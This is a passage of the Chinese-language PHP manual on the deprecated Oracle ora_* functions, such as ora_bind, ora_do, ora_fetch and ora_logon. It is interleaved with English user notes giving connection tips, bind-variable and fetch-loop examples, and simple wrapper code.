     ora_close($Cursor);
     }
   else
     {
     $Msg = ora_error($Session);
     $Result = ora_errorcode($Session);
     }  // end of if expression

   ora_logoff($Session);
   }
  else
   {
   $Msg = ora_error($Session);
   $Result = ora_errorcode($Session);
   }  // end of if expression

  print('<BR>GetNameFromUserId End');
  return $Result;
 }
lmg at webfarm dot com
03-Jan-2000 10:16
...and with the dawning of the new year, my TNS problem is gone. I've been having trouble connecting to a remote db server from Linux running Apache/PHP+Oracle. I'd set the ORACLE_HOME and ORACLE_SID (although, I'm not sure if it cares about the SID when connecting via SQL*Net/Net8) with no luck. The environment variable that does the trick is TNS_ADMIN. (I saw a mention of this on phpbuilder and thought I'd mention it here)<br>
Set TNS_ADMIN to the directory with your tnsnames.ora file and see if that dosen't help the TNS unable to connect problems<p>

setenv("TNS_ADMIN=/opt/oracle/product/8.1.5/network/admin");

... does the trick for me.
denkwerk-hamburg at denkwerk dot com
30-Jun-1999 02:33
ora_numrows($cursor) only works when there's  an ora_fetch before. it will return the number of rows resulting from the query.
denkwerk-hamburg at denkwerk dot com
30-Jun-1999 02:28
If you ever come accross trying to store non ASCII characters over PHP, ORACLE will probably not store thos characters properly, allthough you've set NLS_LANG and ORA_NLS33 in the Oracle User's ENV. the trick is to set these environment at Apaches' Startup. putenv and getenv didn't help at all. ) i meant apache's init script of course, provided you've got a SYS V style UNIX.
cord at ragesoft dot com
13-Feb-1999 05:21
Using "@dbname" in ora_logon/ora_plogon will force a SQL*Net connect, even if the database is on the local host.  It's more efficient to use the ORACLE_SID environment variable.

putenv( "ORACLE_SID=dbname" );
$handle = ora_plogon( "SCOTT",  "TIGER");
kk at shonline dot de
05-Aug-1998 11:09
Oracle Example
Prerequisites:

 You need to know the values of the following environment variables:

ORACLE_HOME
This is the path to your Oracle installation directory. It is usually defined in the UNIX login script of your oracle user and all Oracle client users.

ORACLE_SID
This is the name of the database instance you want to connect to. It is also defined in the UNIX environment of your oracle user and all Oracle client users.

Find out the values of these variables by loggin in as a user who can connect to the database in question with sqlplus. Then type at your Unix shell prompt:

prompt> echo $ORACLE_HOME
/opt/oracle/oracle/8.0.3
prompt> echo $ORACLE_SID
ORACLE

A simple PHP script using ora_* functions

<?php
  putenv("ORACLE_SID=ORACLE");
  putenv("ORACLE_HOME=/opt/oracle/oracle/8.0.3");

  $conn = ora_login("scott", "tiger");
  $curs = ora_open($conn);

  ora_commitoff($conn);

  $query = sprintf("select * from cat");

/* Long version */
/*
  ora_parse($curs, $query);
  ora_exec($curs);
  ora_fetch($curs);
*/
/* Short Version */
  ora_do($conn, $query);

  $ncols = ora_numcols($curs);
  $nrows = ora_numrows($curs);
  printf("Result size is $ncols cols by $nrows rows.<br>");

  for ($i=0; $i<$ncols; $i++) {
   printf("col[%s] = %s type[%d] = %s<br>",
     $i, ora_columnname($curs, $i),
     $i, ora_columntype($curs, $i));
  }

  for ($j=0; $j<$nrows; $j++) {
   for ($i=0; $i<$ncols; $i++) {
     $col = ora_getcolumn($curs, $i);
     printf(&quotval[%d, %d] = %s * ", $j, $i, ora_getcolumn($curs, $i);
   }
   printf("<br>");
  }
 ?>
add a note add a note

后退 | 起点 | 前进
PDO_OCI DSN | 上一级 | ora_bind


ora_bind

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_bind -- 绑定一个 PHP 变量到一个 Oracle 参数

描述

bool ora_bind ( resource cursor, string PHP_variable_name, string SQL_parameter_name, int length [, int type] )

该函数将一个 PHP 变量与一个 SQL 参数绑定。 SQL 参数必须使用 ":name" 的形式。在该函数可选的 type 参数中，可以定义 SQL 参数类型。SQL 参数的类型是输入/输出 (0，默认)、输入(1) 、输出 (2) 中的一种。从 PHP 3.0.1 开始，可以使用常量 ORA_BIND_INOUT，ORA_BIND_IN 和 ORA_BIND_OUT 代替数字。

如果成功则返回 TRUE，失败则返回 FALSE。错误的细节能够使用 ora_error() 和 ora_errorcode() 函数取得。

ora_bind() 必须在 ora_parse() 之后和 ora_exec() 之前调用。输入值由绑定的 PHP 变量指派。在调用 ora_exec() 函数之后，如果绑定的 PHP 变量有值输出，则 PHP 变量将等于该值。

例子 1. ora_bind() 函数范例

<?php
ora_parse($curs, "declare tmp INTEGER; begin tmp := :in; :out := tmp; :x := 7.77; end;");
ora_bind($curs, "result", ":x", $len, 2);
ora_bind($curs, "input", ":in", 5, 1);
ora_bind($curs, "output", ":out", 5, 2);
$input = 765;
ora_exec($curs);
echo "Result: $result<br />Out: $output<br />In: $input";
?>

add a note add a note User Contributed Notes
cjbj at hotmail dot com
20-Oct-2003 08:01
Ahmed's solution is based on the sample given to him in http://forums.oracle.com/forums/thread.jsp?forum=178&thread=206340

Here's a similar example answering the question
"How do I get the return value from a PL/SQL function?"

<?php

/*
  Sample using "oracle" driver to get the value of a PL/SQL function.

  Before running this script create this function using SQL*Plus:

  create or replace function myfunc(myparam IN varchar2) return varchar2 as
  begin
   return myparam;
  end;

  Tested with PHP 4.3.3 against Oracle 9.2

*/

$my_db_conn = ora_logon("scott@mydb", "tiger");

$my_cursor = ora_open($my_db_conn);

$sql = "begin :mybindvar := myfunc('abcde'); end;";

ora_parse($my_cursor, $sql, 0);

$r = ora_bind($my_cursor, "mybindvar", ":mybindvar", 5, 1);

// Set the OUT bind variable to anything (?), else get:
//    Warning: Can't find variable for parameter
//    Notice: Undefined variable: mybindvar
$mybindvar = NULL;

ora_exec($my_cursor);

print 'Return value is: '. $mybindvar;

?>
ahmed dot adaileh at vaillant dot de
17-Oct-2003 02:38
It was hard a little bit to understand the example above. Since it did not work properly :(
I managed to get a similar one running, the whole example is as following:

<?php

$connection = ora_logon("user@DBname", "password");
$cursor = ora_open($connection);
ora_commitoff($connection);

$cursor=ora_parse($cursor, "begin user.user_create (:name,:surname,:street,:country,:postal,:city,:tel,:mail,:number); end;");

$name        = 'a';
$surname    = 'a';
$street        = 'a';
$country      = 'a';
$postal        = 'a';
$city            = 'a';
$tel            = 'a';
$mail          = 'a';

ora_bind($cursor, "name", ":name", 32, 1);
ora_bind($cursor, "surname", ":surname", 32, 1);
ora_bind($cursor, "street", ":street", 32, 1);
ora_bind($cursor, "country", ":country", 32, 1);
ora_bind($cursor, "postal", ":postal", 32, 1);
ora_bind($cursor, "city", ":city", 32, 1);
ora_bind($cursor, "tel", ":tel", 32, 1);
ora_bind($cursor, "mail", ":mail", 32, 1);
ora_bind($cursor, "number", ":number", 32, 2);

// The following step is to charge the output variable with an intial value (Actually still doesn't know why? but it works like this ;-)) )

$okdnr = "a";

ora_exec($cursor);

print "okdnr is $okdnr";

?>

The called stored procedure is as following:
CREATE OR REPLACE procedure customer_create
(
iname in varchar2,
insurname in varchar2,
instreet in varchar2,
incountry varchar2,
inpostal in varchar2,
incity in varchar2,
intel in varchar2,
inemail in varchar2,
okdnr out varchar2)
is
begin
.....
..... SOME CODE ....
.....
okdnr:='something_to_output';
commit;
end customer_create;
/

The most important part of all this is the ora_bind function.  Becarefull while writing the syntax regarding the definition wether the variable is an INPUT (1) variable or an OUTPUT variable (2).

Hope this help someone!!
mukund at ziplip dot com
27-Mar-2001 09:23
Inputting integers using ORA_BIND.
   There is a potential problem in binding oracle integers using php. PHP supports only 32 bit integers where as oracle supports 128. so when you  are trying to bind an 128 bit oracle integer, php only interprets the first 32 bits. This results in undesired behaviour. The easiest way around it is not to use bind operations and instead do the whole conversion during the parsing phase. This means you have to parse for each input. A more optimal solution would be to change the oracle inputs to be varchar2 and let oracle deal with the type conversions.
koos at kzdoos dot xs4all dot nl
29-Feb-2000 01:28
The Oracle parser doesn't like DOS line endings (cr/lf). Save as Unix file (lf line ending only).
koos at kzdoos dot xs4all dot nl
08-Jan-2000 03:39
Passing variables of Oracle type 'DATE' will fail. Just convert them to a string with all the relevant details and convert it back when needed in Oracle, using TO_CHAR and TO_DATE calls in Oracle.
castle at ruc dot dk
30-Dec-1999 02:50
ora_bind looks for the bind variables globally. If your are using ora_bind
from within a class you'll have to delcare the bind variables globally and reference them using eg. $GLOBAL["myVar"].
add a note add a note

后退 | 起点 | 前进
Oracle 函数（已废弃） | 上一级 | ora_close


ora_close

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_close -- 关闭一个 Oracle 游标

描述

bool ora_close ( resource cursor )

该函数关闭用函数 ora_open() 打开的一个数据游标。

如果成功则返回 TRUE，失败则返回 FALSE。错误的细节能够使用 ora_error() 和 ora_errorcode() 函数取得。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ora_bind | 上一级 | ora_columnname


ora_columnname

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_columnname -- 取得列名

描述

string ora_columnname ( resource cursor, int column )

返回游标 cursor 第 column 列的列名。返回的列名全部是大写字母。列号从0开始编号。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ora_close | 上一级 | ora_columnsize


ora_columnsize

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_columnsize -- 取得列的大小

描述

int ora_columnsize ( resource cursor, int column )

返回游标 cursor 第 column 列的列大小。列号从0开始编号。

add a note add a note User Contributed Notes
jjuffermans at chello dot com
16-Mar-2001 02:04
ora_columnsize (probably) returns the number of bytes per row/column. If you want the precision and scale for NUMBER columns, have a look at the oracle system database "user_tab_columns". It shows some other usefull information too.
add a note add a note

后退 | 起点 | 前进
ora_columnname | 上一级 | ora_columntype


ora_columntype

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_columntype -- 取得列的类型

描述

string ora_columntype ( resource cursor, int column )

返回游标 cursor 第 column列的 Oracle 数据类型名。 列号从0开始编号。返回下列类型之一：

"VARCHAR2"
"VARCHAR"
"CHAR"
"NUMBER"
"LONG"
"LONG RAW"
"ROWID"
"DATE"
"CURSOR"

add a note add a note User Contributed Notes
kk at shonline dot de
05-Aug-1998 11:32
And the mapping between SQL types (see $ORACLE_HOME/rdbms/demo/ocidfn.h) and return strings is as follows:<p>

SQLT_CHR (character string) becomes VARCHAR2
SQLT_VCS (variable character string) becomes VARCHAR
SQLT_AVC (Ansi var char) becomes VARCHAR
SQLT_STR (zero terminated string) becomes CHAR
SQLT_AFC (Ansi fixed char) becomes CHAR
SQLT_NUM (oracle numeric) becomes NUMBER
SQLT_INT (integer) becomes NUMBER
SQLT_FLT (floating point number) becomes NUMBER
SQLT_UIN becomes NUMBER
SQLT_LNG (long) becomes LONG
SQLT_LBI (long binary) becomes LONG RAW
SQLT_RID (rowid) becomes ROWID
SQLT_DAT (date in oracle format) becomes DATE
SQLT_CUR (cursor) becomes CURSOR

All other types (and there are many of them) become UNKNOWN
add a note add a note

后退 | 起点 | 前进
ora_columnsize | 上一级 | ora_commit


ora_commit

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_commit -- 提交一个 Oracle 事务

描述

bool ora_commit ( resource conn )

该函数提交一个 Oracle 事务。事务的定义如下：当一个连接被建立时或者自动提交被关闭时，或者在某个给定连接的最后一次提交回滚操作时所发生的所有改变。

如果成功则返回 TRUE，失败则返回 FALSE。 错误的细节能够使用 ora_error() 和 ora_errorcode() 函数取得。

参见ora_commiton()和 ora_commitoff()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ora_columntype | 上一级 | ora_commitoff


ora_commitoff

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_commitoff -- 关闭自动提交功能

描述

bool ora_commitoff ( resource conn )

该函数关闭指定连接的每一个 ora_exec() 函数的自动提交功能。

如果成功则返回 TRUE，失败则返回 FALSE。 错误的细节能够使用 ora_error() 和 ora_errorcode() 函数取得。

参见ora_commiton() 和 ora_commit() 。

add a note add a note User Contributed Notes
m-fletscher at gmx dot de
17-Jan-2003 01:59
The function " ocof() " isn't supported anymore in the oci.dll of Oracle 8.1.7.
Use Oracle8 functions instead.
add a note add a note

后退 | 起点 | 前进
ora_commit | 上一级 | ora_commiton


ora_commiton

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_commiton -- 打开自动提交功能

描述

cool ora_commiton ( resource conn )

该函数打开指定连接的每个 ora_exec() 函数的自动提交功能。

如果成功则返回 TRUE，失败则返回 FALSE。 错误的细节能够使用 ora_error() 和 ora_errorcode() 函数取得。

参见 ora_commitoff() 和 ora_commit() 。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ora_commitoff | 上一级 | ora_do


ora_do

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_do -- 分析，执行，获取

描述

resource ora_do ( resource conn, string query )

ora_do()一次性执行函数 ora_parse()， ora_exec() 和 ora_fetch() 所要执行的功能。它将分析和执行一条语句，并取得结果中的第一行。

该函数执行成功则返回一个游标索引，失败则返回 FALSE。 错误的细节能够使用 ora_error() 和 ora_errorcode() 函数取得。

参见 ora_parse()，ora_exec()， 和 ora_fetch()。

add a note add a note User Contributed Notes
bakerst at ctt dot com
15-Oct-2002 02:55
As far as I'm concerned, this ora_do function should not be used in most cases. I was unable to catch errors when using this function, b/c it does the first fetch for you before you can even check if there's anything to fetch. Therefore, if there's a chance you won't get records back when running your query, using this function will not make it any easier for you. The best way to retrieve your data is to use this process:

$strThis = ora_logon("username@sid", "password");
$my_cursor = ora_open($my_db_conn);
ora_parse($my_cursor, $my_query, 0);
ora_exec($my_cursor);

then, so you don't get the "NO DATA FOUND" error from oracle when trying to fetch 0 records, check if it is possible to fetch the first record:

if (ora_fetch($my_cursor)) {
   do soemthing;
} else {
   raise an error (query returned no records);
}

don't forget, when you do the check, if the result is true, then you just fetched the first record. so if you try to do another fetch afterwards, that will not be the first record, it will be the second record. so use this method if it works for you.

easy, huh?
russell at REMOVE_CAPS_TO_MAIL dot loosenut dot com
28-Mar-2002 12:13
Remember that this function includes an implicit ora_fetch (so the first row is on the cursor, if it exists).  I think this problem has probably gotten "everyone" at one time or another... at least once... :-)

A fairly generic retrieval segment that, given an SQL query in $query (and with the proper Oracle credentials), will perform a database query on your database and return the results in a single variable:

   // Null out results array
   $results = array();

   putenv( "ORACLE_HOME=/path/to/oracle/productdir/version" );

   $ora_conn = ora_logon( "${oracle_user}@${oracle_db}",
                           $oracle_pw );

   // Parse, exec and fetch...
   $ora_cur = ora_do( $ora_conn, $query );

   if ( $ora_cur ){
     $numCols = ora_numcols( $ora_cur );  // Figure out how many columns

     // Get the first fetched row and put it in to our array...
     $row = array();
     for( $i = 0; $i < $numCols; $i++ ){  // Loop through columns
       array_push( $row, ora_getcolumn( $ora_cur, $i ) );
     }
     array_push( $results, $row );

     // Fetch rows, one at a time, putting them in their own
     // array.  Each row should be appended to the array of
     // results..
     while ( ora_fetch( $ora_cur ) ){      // Get each row
       $row = array();
       for( $i = 0; $i < $numCols; $i++ ){  // Loop through columns
         array_push( $row, ora_getcolumn( $ora_cur, $i ) );
       }
       array_push( $results, $row );
     }
   }

   ora_logoff( $ora_conn );

   // Result set is now in an array of rows, each containing an
   // array of columns
   if ( count( $results ) ){
     print_r( $results );
   } else {
     print( "No rows returned.\n" );
   }

Note: for a null result set, ora_do() may also drop a warning depending on how you have error reporting configured in the script or your PHP.INI file.  You might want to include:

   // Turn off error reporting to the user - let me handle
   // it myself...
   error_reporting( 0 );

And make sure you properly handle all errors yourself (such as failues on ora_conn() as well as ora_do()).
owend at obscure dot org
02-Mar-2001 01:32
I couldn't figure out how this worked until I looked at the PHP source code. The documentation does not mention that what ora_do returns is in fact a cursor, not just an integer true/false flag.  So the following snippet illustrates how I have been using it:

$cur = ora_do($conn, $query);
$foo = ora_getcolumn($cur,0);
... etc ...
add a note add a note

后退 | 起点 | 前进
ora_commiton | 上一级 | ora_error


ora_error

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_error -- 获得 Oracle 错误信息

描述

string ora_error ( [resource cursor_or_connection] )

返回一个 XXX-NNNNN 形式的错误信息，XXX 报告错误来源， NNNNN 报告错误号。

注: 对 connection ids 的支持从 3.0.4 开始。

在 Unix 版的 Oracle 上，你会发现关于某个错误信息的详细内容与下面的显示类似： $ oerr ora 00001 00001, 00000, "unique constraint (%s.%s) violated" // *Cause: An update or insert statement attempted to insert a duplicate key // For Trusted ORACLE configured in DBMS MAC mode, you may see // this message if a duplicate entry exists at a different level. // *Action: Either remove the unique restriction or do not insert the key

add a note add a note User Contributed Notes
rob at towner dot cx
18-May-2004 07:56
You can use ora_error() to output the reason for a failed ora_logon() connection attempt. To do this, call ora_error() without any parameters. This works for php versions >= 4.0.2.

<?php
$conn = @ora_logon("user@wrongTNS", "pass");

if (!$conn) {
   echo "Unable to connect to the database.<BR>\n";
   echo ora_error(), "\n";
}
?>

This will output:

Unable to connect to the database.<BR>
ORA-12154: TNS:could not resolve service name
mihailsbo at lycos dot ru
17-Jun-2003 05:52
When your program is performing an Ora_Fetch, and your session is terminated by a database administrator, your fetch will fail, but the ora_error( your_connection ) will return 0. You can check the ora_error( your_cursor ), it will return 28 (ORA-00028: your session has been killed).
weiliang at yahoo dot com
10-Oct-2002 05:25
# Check this one out. PHP 4.2.2 with Oracle nad OCI8
<?php

     class panera_oracle
     {

       /* Private Variables      ******************************************* */

       var $db_conn;
       var $db_cursor;
       var $db_record_set;

       /* Open an Oracle connect ****************************************** */

       function connect($orauser, $tns, $password)
       {
           $conn_str=$orauser . '@' . $tns;

           $conn = ora_logon($conn_str,$password);
           if (!$conn )
           {
               $this->post_ora_error($conn);
               $this->db_conn = "NULL";
           }
           else
           {  $this->db_conn = $conn; }

           return;
       }

       /* Disconnect from Oracle ****************************************** */

       function disconnect()
       {
           ora_logoff($this->db_conn);
           return;
       }

       /* Post ORA - Error ***** ****************************************** */

       function post_ora_error($ora_handle)
       {
           if ( ora_errorcode($ora_handle) )
           {
               echo "Oracle Error - ".ora_error($ora_handle)."<br>\n";
               return -1;
           }
           return 1;
       }

       /* Execute query and return cursor handle ************************* */

       function execute_query($query)
       {
           $this->db_cursor=ora_open($this->db_conn);
           if ( $this->post_ora_error($this->db_cursor) > 0 )
           {
               ora_parse($this->db_cursor,$query,0);
               if ( $this->post_ora_error($this->db_cursor) > 0 )
               {
                 ora_exec($this->db_cursor);
                 if ( $this->post_ora_error($this->db_cursor) > 0 )
                 {
                     return 1;
                 }
                 else { return -1; }
               }
               else { return -1; }
           }
           else { return -1; }

       }
   }

?>

<?php

     $oracle = new panera_oracle;
     $query="SELECT * from AUDIT_LOAD_TYPES order by load_type_id";

     $oracle->connect("pan_ods","shekel_proddw","panods");

     if ( $oracle->execute_query($query) > 0 )
     {
       $oracle->db_record_set = array();

       while ( ora_fetch_into($oracle->db_cursor, $oracle->db_record_set, ORA_FETCHINTO_NULLS | ORA_FETCHINTO_ASSOC) )
       {
               echo $oracle->db_record_set['LOAD_TYPE_ID']  . " ";
               echo $oracle->db_record_set['LOAD_TYPE_DESC'] . " ";
               echo $oracle->db_record_set['PACKAGE_NAME']  . " ";
               echo $oracle->db_record_set['PROCEDURE_NAME'] . " ";

               $rows=ora_numrows($oracle->db_cursor);

               echo $rows;
               echo "<BR>";
         }
     }

     ora_close($oracle->db_cursor);
     $oracle->disconnect();

?>
add a note add a note

后退 | 起点 | 前进
ora_do | 上一级 | ora_errorcode


ora_errorcode

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_errorcode -- 获得 Oracle 错误号

说明

int ora_errorcode ( [resource cursor_or_connection] )

返回指定游标或连接的上一条执行语句的数字代码错误号。

注: 对连接 id 号的支持是 3.0.4 版添加的。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ora_error | 上一级 | ora_exec


ora_exec

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_exec -- 在 Oracle 游标上执行被分析后的语句

描述

int ora_exec ( resource cursor )

ora_exec() 函数运行 cursor 参数指定的已由 ora_parse() 函数解析的语句。

如果成功则返回 TRUE，失败则返回 FALSE。 错误的细节能够使用 ora_error() 和 ora_errorcode() 函数取得。

参见 ora_parse()， ora_fetch()， 和 ora_do()。

add a note add a note User Contributed Notes
cjbj at hotmail dot com
07-Jan-2004 12:11
If you are using bind variables and get the error:

"Warning: Can't find variable for parameter in myfile.php on line X"

where line X is the ora_exec() call, you may need to set the bound PHP
variable to something before calling ora_exec().  See the ora_bind()
user comments for the working example I added.
kerxen at caramail dot com
23-May-2003 07:13
Maybe newbies don't know in which order to use all the ORA_FUNCTIONS.

Here is a function to execute queries. But it is not made for SELECT queries, because the cursor is closed at the end but you can adapt it.

Moreover, you need to logon and logoff (obviously)...

SYNOPTIC :
   $conn = ora_logon  ("user@TNSNAME", "pass");
   $query="";
   execute_query ($query,$conn);
   ora_logoff ( $conn) ;

/*-------------------
Here is the execute_query function
-------------------*/

function execute_query ($query,$conn){
   // ouveture du curseur , create a cursor
     if (!($cursor= ora_open($conn)))
     {  reportError ($conn, " Cursor could not be opened! ");
       exit;        // Termine le script courant , end the script
     }
   // parse query  // analyse la requete et l'associe au curseur, analyse the query and use the cursor for it
     if (!ora_parse ($cursor, $query))
     {  reportError ($cursor, " Statement could not be parsed! ");
       exit;
     }
   // execution de la query, execution of the query
     if (!ora_exec($cursor))
     {  reportError ($cursor, " Statement could not be executed! ");
       exit;
                                           }
   // ferme le curseur oracle, close the cursor
     ora_close($cursor);
   // valide la transaction, validation of the transaction (if any)
     ora_commit($conn);
     }

/*-------------------
Here is the reportError function.
-------------------*/

   function reportError($code,$message ="")
   {  print ("$message\n");
         print ("Code Erreur: " . ora_errorcode($code) . "\n");
       print ("Message d'Erreur: " . ora_error($code) . "\n");
   }

Good Luck !
Eddy Cingala
add a note add a note

后退 | 起点 | 前进
ora_errorcode | 上一级 | ora_fetch_into


ora_fetch_into

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_fetch_into -- 将一行数据放入数组

描述

int ora_fetch_into ( resource cursor, array &result [, int flags] )

取得一行数据并将它放入到一个数组中。参数 flags 有两个标志值：如果设置 ORA_FETCHINTO_NULLS 标志，值为 NULL 的列设置在数组中;如果设置 ORA_FETCHINTO_ASSOC 标志，将创建一个元素由数据库字段命名的数组。

返回所取得行的列数。

例子 1. ora_fetch_into()

<?php
$results = array();
ora_fetch_into($cursor, $results);
echo $results[0];
echo $results[1];
$results = array();
ora_fetch_into($cursor, $results, ORA_FETCHINTO_NULLS|ORA_FETCHINTO_ASSOC);
echo $results['MyColumn'];
?>

参见 ora_parse()，ora_exec()， ora_fetch() 和 ora_do()。

add a note add a note User Contributed Notes
HERVE3D
15-Feb-2006 05:57
With : ora_fetch_into($curs, &$dt, ORA_FETCHINTO_ASSOC)
If the value of a field is NULL it will contains value from the row before.

To avoid this you can use :
ora_fetch_into($curs, $dt, ORA_FETCHINTO_NULLS|ORA_FETCHINTO_ASSOC);
And NULL fields remain empty.
kamas at telkom dot net
04-Jun-2003 04:19
becareful when fetching data with NULL value using ora_fetch_into().
table example :
field1    field2    nullable
----------------------
a    b    c
w    w    NULL
d    d    NULL
e    e    x

//php script :
$curs = ora_open($conn);
ora_parse($curs, "SELECT * FROM tableblah");
ora_exec($curs);
while(ora_fetch_into($curs, &$dt, ORA_FETCHINTO_ASSOC)) {
   echo $dt['field1'] . " - " . $dt['field2'] . " - " . $dt['nullable'] . "<br>\n";
}
ora_close($curs);

the above code will print:
a - b - c
w - w - c
d - d - c
e - e - x

if the value of the nullable field is NULL it will contains value from the
row before. to avoid this you can use :

while(ora_fetch_into($curs, &$dt, ORA_FETCHINTO_ASSOC)) {
   ...
   $dt['nullable'] = "";
}

to set $dt['nullable'] to an empty value.
Markus dot Elfring at web dot de
31-May-2002 07:33
The function "OCIFetchInto" seems to be better for special datatypes like "CLOB" or "BLOB".
add a note add a note

后退 | 起点 | 前进
ora_exec | 上一级 | ora_fetch


ora_fetch

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_fetch -- 从一个游标中取得一行数据

描述

bool ora_fetch ( resource cursor )

从指定的游标中取回一行数据，该行数据由参数 cursor 指明。

如果取得一行数据则返回 TRUE，如果没有取得数据或产生错误，则返回 FALSE。 如果有错误，错误的细节能够使用 ora_error() 和 ora_errorcode() 函数取得。如果没有错误，函数 ora_errorcode() 将返回0。

参见 ora_parse()，ora_exec()， 和 ora_do()。

add a note add a note User Contributed Notes
god at danielhauser dot com
09-Jun-2003 11:36
summary: ;-)

If you are using the ora_do() function, you must use do { ... } while(ora_fetch($curs));
because of ora_do() automaticaly fetches the first row.

If you are using
$cur=Ora_Open($db_conn);
Ora_Parse($cur,$sql,0);
Ora_Exec($cur);

you must use while(ora_fetch($curs)) { ... }
because the ora_exec doesn't fetch any row.
forever at klub dot chip dot pl
28-Mar-2003 07:36
Not only when there is only one row... the described problem occurs for the FIRST row!!! even if there is 1000 rows the first one will not be displayed so described example with 'do' solve this problem for all cases.
rrosso at zalem dot com
12-Jul-2002 04:36
Little update to abovementioned. $numCols would not work.

       while(ora_fetch($curs1) == 1){                          // WHILE THERE IS A ROW
               for($i=0;$i<ora_numcols($curs1);$i++){          // PARSE THROUGH THE COLUMNS
               printf("%s", ora_getcolumn($curs1,$i));        //  PRINT THE RESULTS
               }
       }
22-Feb-2002 04:01
Obviously Daniel has no idea what he is talking about!  ora_fetch() is a wonderful tool for extracting a row from the data base. Here is how:

  while(ora_fetch($cursor) == 1){    // WHILE THERE IS A ROW
     for($i=0;$i<$numCols;$i++){    // PARSE THROUGH THE COLUMNS
       echo ora_getcolumn($cursor,$i);      //  PRINT THE RESULTS
     }
   }                                    // NEXT ROW

There are many ways to modify the above code to get the desired result, but this is a basic way to parse through all of the result set.
dmuth at ot dot com
15-Jan-2000 07:54
Try using ora_fetch_into($cursor, &$results) to get the row into an array.  Yes, you need the "&" sign before the name of the variable to fetch into so that it is passed by reference and can be modified in the function.

You should also be aware that when calling this function multiple times (like within a loop) that the array is NOT initialized, which could lead to some "ghosting" of data.  You need to initialize the array yourself, prefarably with the array() function.
add a note add a note

后退 | 起点 | 前进
ora_fetch_into | 上一级 | ora_getcolumn


ora_getcolumn

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_getcolumn -- 取得列的数据

描述

string ora_getcolumn ( resource cursor, int column )

取得一列数据。

返回列的数据。如果有错误产生，返回 FALSE 函数 ora_errorcode() 将返回一个非零值。注意，对该函数的一个 FALSE 测试有可能返回 TRUE 因为下列情况没有错误(NULL 结果，空的字符串，数字 0，字符串 "0")。

add a note add a note User Contributed Notes
Markus dot Elfring at web dot de
31-May-2002 07:41
The functions "OCINewDescriptor" and "OCILoadLob" seem to be better for special datatypes like "CLOB" or "BLOB".
leon at leonatkinson dot com
06-Jul-1999 06:29
If you are using LONG RAW columns, keep in mind that this function can return up to 64K of data, a limit that's hardcoded into the "DB_SIZE" constant inside "functions/oracle.c".
Brian dot Craigie at necs dot demon dot co dot uk
24-Feb-1999 07:10
The column number starts at zero.

The number of columns may be obtained by a call to the (undocumented) function:

$ncols=ora_numcols($cur);

after ora_exec($cur) has been performed.

Correction:
ora_numrows($cur); returns the current row number.

To find out how many rows you will have, you need to do a 'select count(*)...' query first and read back the result.
add a note add a note

后退 | 起点 | 前进
ora_fetch | 上一级 | ora_logoff


ora_logoff

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_logoff -- 关闭一个 Oracle 连接

描述

bool ora_logoff ( resource connection )

注销用户，从服务器断开连接。

如果成功则返回 TRUE，失败则返回 FALSE。 错误的细节能够使用 ora_error() 和 ora_errorcode() 函数取得。

参见 ora_logon()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ora_getcolumn | 上一级 | ora_logon


ora_logon

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_logon -- 打开一个 Oracle 连接

描述

int ora_logon ( string user, string password )

用给定的用户名 user 和密码 password 在 PHP 和一个 Oracle 数据库之间建立一个连接。

可以通过使用 TNS 名作为参数 user 来使用 SQL*Net 建立连接。请看下面的示例：

<?php
$conn = Ora_Logon("user@TNSNAME", "pass");
?>

如果要在字符数据中使用非 ASCII 字符，则必须在环境变量中设置 NLS_LANG。 就服务器而言，必须在服务器启动之前设置 NLS_LANG 服务器环境变量。

如果连接成功则返回连接索引，如果不能连接则返回 FALSE。错误的细节能够使用 ora_error() 和 ora_errorcode() 函数取得。

add a note add a note User Contributed Notes
premiere_fondation at yahoo dot fr
24-Dec-2003 12:59
Hello,
I had the problem and the solution is this one :
Use OCILogon()

Instead of writing :

$db = ("INSTANCE_NAME");

Write the entire line corresponding to your oracle instance descriptor in tnsnames.ora file :

$db = "(DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = db.ip.address)(PORT = db.port)) ) (CONNECT_DATA = (SID = YOUR_DB_SID) ) )";
$con = OCILogOn("user", "password",$db);

This works perfectly.
Nicolas Corlieu.
knitterb at blandsite dot org
12-Nov-2003 05:29
You probably want to use the more modern OCILogon and other OCI functions for logging in to a database.  Additional connection strings can also be found on the OCILogon page for documentation.
php developer
06-Nov-2003 10:52
I also goy the ORA-1245 error using ora_logon, but setting the ORACLE_HOME var so it showed up in both the Apache Environment and Environment sections in phpinfo didn't help the situation. The full error was "Warning: Oracle: Connection Failed: ORA-12545: Connect failed because target host or object does not exist in /path/to/script on line xx." Turns out I had the oracle client installed (which is required) and I had the environment correct (which is required), but I didn't have a local tnsnames.ora file setup, so the connection couldn't find the correct binaries to connect to oracle. Creating the tnsnames.ora file on the local server (db server is remote) and using the proper syntax of "ora_logon("user@tnsentry", "password");" worked for me. Note: ORACLE_HOME and ORACLE_SID were set in the script using putenv.
Devon
12-Apr-2001 09:38
